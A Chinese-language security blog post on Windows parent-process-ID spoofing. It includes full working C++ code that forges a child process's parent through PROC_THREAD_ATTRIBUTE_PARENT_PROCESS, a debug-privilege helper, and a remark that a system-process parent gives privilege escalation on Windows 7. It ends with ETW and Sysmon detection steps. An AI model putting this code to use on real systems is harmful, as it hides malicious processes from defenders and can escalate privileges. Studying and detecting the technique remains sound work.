0x01 前言
之前学习FakePPID的时候写的一些东西,昨天写关于R77那个项目的使用的技术的时候提到了,特此更新到blog上;
0x02 原理
Windows触发UAC创建进程的过程中,我们可以知道实际上高权限的进程是由consent.exe进程创建的,但实际上父进程并非指向consent.exe,而是指向UAC发起者的进程ID,这里其实就涉及父进程指定的问题了;
触发UAC的时候consent.exe是利用CreateProcessAsUser函数来指定父进程的; 使用CreateProcess也可以做到:
参考CreateProcess:
https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
通过指定:dwCreationFlags 为EXTENDED_STARTUPINFO_PRESENT(注意Windows Server 2003 和 Windows XP不支持这个值),并且配合指定lpStartupInfo,可以修改创建进程的ppid:
1
2
3
4
5
6
7
8
9
10
11
12
ret = CreateProcessA(
"C:\\Windows\\system32\\notepad.exe",
NULL,
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);
0x03 实现
完整代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include<windows.h>
#include<tlhelp32.h>
#include<iostream>
BOOL EnableDebugPriv()
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("提权失败\n");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("提权失败\n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("提权失败\n");
CloseHandle(hToken);
}
else
{
printf("提权成功!\n");
return TRUE;
}
}
DWORD FindExplorerPID() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
do {
if (!_stricmp(process.szExeFile, "iexplore.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
int main() {
HANDLE pHandle = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;
// Open the process which we will inherit the handle from
if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID())) == 0) {
printf("Error opening PID %d\n", FindExplorerPID());
return 2;
}
// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Finally, create the process
ret = CreateProcessA(
"C:\\Windows\\system32\\notepad.exe",
NULL,
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);
if (ret == false) {
printf("Error creating new process (%d)\n", GetLastError());
return 3;
}
// Wait until child process exits.
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
//EnableDebugPriv();
//PROCESS_INFORMATION pi;
//STARTUPINFOEXA siex = { 0 };
//SIZE_T Size;
//siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
//HANDLE hFake = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());
//InitializeProcThreadAttributeList(NULL, 1, 0, &Size);
//siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, Size);
//InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &Size);
//UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hFake, sizeof(HANDLE), NULL, NULL);
//BOOL a = CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)&siex, &pi);
////PS:这里有个小坑,需要开启继承句柄
//if (!a)
// printf("创建失败,GetLastError:0x%x", GetLastError());
//return 0;
}
编译项目的时候生成64位的exe,32位的有点问题,windows7上可以;但是windows10上不行,在windows10上非常奇怪,最后的子进程(calc)会被运行,但是查看其父进程是svchost,并且运行参数为:
1
"C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1812.10048.0_x64__8wekyb3d8bbwe\"
0x04 效果
windows7:
windows10:
0x05 提权
windows7上,可以通过指定一个系统进程作为其父进程,从而实现提权
0x06 对抗以及检测方法
如下图:FakePPID.exe是一个恶意进程,其会利用fakeppid技术实现创建一个notepad.exe 进程,并且其伪造的父进程是iexplore.exe ;
这里我们可以windows etw来做监控:
1
2
3
4
5
6
7
8
1、创建进程相关的监控器:
logman create trace ppid-spoofing -p Microsoft-Windows-Kernel-Process 0x10 -ets
2、开始运行
logman start ppid-spoofing -ets
3、查看监视器运行状态和输出日志文件位置
logman query ppid-spoofing -ets
4、停止之后查看
logman stop ppid-spoofing -ets
使用事件查看器打开etw输出的文件:如下图可以看到Execution ProcessID和ParentProcessID不一样的时候,可能就是存在父进程伪造的情况,但是这里我们要排除一些情况,比如UAC consent.exe 创建进程(文章开头提到),还有报错进程(WerFault.exe,是处理程序报错的进程,当程序内部没办法处理出现的异常的时候,svchost.exe 会启WerFault.exe来处理,但是此时的WerFault.exe的父进程不是svchost而是报错进程)
之后也去sysmon上看了下对应的日志,发现这里很奇怪,ExecutionProcessID和etw监测到的不一样,并且这个进程在机器上没找到,而且sysmon上的所有ID:1的进程创建日志都是这个参数(3876 5224)
参考:
https://blog.xpnsec.com/becoming-system/ https://idiotc4t.com/defense-evasion/fake-ppid https://juejin.cn/post/6844903748884512781 https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/logman https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing